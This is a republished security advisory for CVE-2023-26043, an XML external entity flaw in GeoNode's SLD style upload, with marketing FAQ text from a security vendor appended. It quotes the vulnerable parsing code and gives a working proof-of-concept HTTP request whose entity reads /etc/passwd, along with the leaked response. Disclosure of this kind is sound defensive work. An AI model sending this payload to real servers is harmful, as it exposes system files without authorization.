Summary
GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.
Details
GeoNode's GeoServer has the ability to upload new styles for datasets through the dataset_style_upload view.
# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159
@login_required
def dataset_style_upload(request, layername):
def respond(*args, **kw):
kw['content_type'] = 'text/html'
return json_response(*args, **kw)
...
sld = request.FILES['sld'].read() # 1
sld_name = None
try:
# Check SLD is valid
...
sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2
except Exception as e:
respond(errors=f"The uploaded SLD file is not valid XML: {e}")
name = data.get('name') or sld_name
set_dataset_style(layer, data.get('title') or name, sld)
return respond(
body={
'success': True,
'style': data.get('title') or name, # 3
'updated': data['update']})
dataset_style_upload gets a user-provided file (1), pass it to extract_name_from_sld to extract an element from it (2) and return the former in the response (3).
# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234
def extract_name_from_sld(gs_catalog, sld, sld_file=None):
try:
if sld:
if isfile(sld):
with open(sld, "rb") as sld_file:
sld = sld_file.read() # 1
if isinstance(sld, str):
sld = sld.encode('utf-8')
dom = etree.XML(sld) # 2
...
named_dataset = dom.findall(
"{http://www.opengis.net/sld}NamedLayer")
el = None
if named_dataset and len(named_dataset) > 0:
user_style = named_dataset[0].findall("{http://www.opengis.net/sld}UserStyle")
if user_style and len(user_style) > 0:
el = user_style[0].findall("{http://www.opengis.net/sld}Name") # 3
...
return el[0].text # 4
extract_name_from_sld uses sld (which is a path to the provided file), reads it (1) and parses it with etree.XML in 2. Since the former uses a default XMLParser, the parsing gets done with the resolve_entities flag set to True. Therefore, dom handles the parsed XML containing the resolved entity (2), gets NamedLayer.UserStyle.Name in 3 and returns the resolved content in 4.
PoC
- Create a guest/non-privileged account and log in.
- Upload a dataset through
/catalogue/#/upload/datasetwhose name we will be referencing as<DATASET_NAME>. - Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of
/etc/passwd:
POST /gs/geonode:<DATASET_NAME>/style/upload HTTP/1.1
Host: localhost
Cookie: django_language=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE>
X-Csrftoken: <CSRF-TOKEN>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo
Content-Length: 485
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="layerid"
1
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="sld"; filename="foo.sld"
Content-Type: application/octet-stream
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]>
<foo xmlns="http://www.opengis.net/sld">
<NamedLayer>
<UserStyle>
<Name>&ent;</Name>
</UserStyle>
</NamedLayer>
</foo>
------WebKitFormBoundaryfoo--
Sample response:
HTTP/1.1 200 OK
Server: nginx/1.23.2
...
{"success": true, "style": "root:x:0:0:root:/root:/bin/bash...", "updated": false}
Impact
This issue may lead to authenticated Arbitrary File Read.
An XML parser processes external entity references in untrusted input, causing the server to fetch internal resources or remote URLs. Typical impact: local file disclosure, server-side request forgery, or denial of service.
CVE-2023-26043 has a CVSS score of 6.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2023-26043? CVE-2023-26043 is a high-severity XML external entity injection (XXE) vulnerability in GeoNode (pip), affecting versions >= 0, < 4.0.3. It is fixed in 4.0.3. An XML parser processes external entity references in untrusted input, causing the server to fetch internal resources or remote URLs.
- How severe is CVE-2023-26043? CVE-2023-26043 has a CVSS score of 6.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of GeoNode are affected by CVE-2023-26043? GeoNode (pip) versions >= 0, < 4.0.3 is affected.
- Is there a fix for CVE-2023-26043? Yes. CVE-2023-26043 is fixed in 4.0.3. Upgrade to this version or later.
- Is CVE-2023-26043 exploitable, and should I be worried? Whether CVE-2023-26043 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-26043 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-26043? Upgrade
GeoNodeto 4.0.3 or later.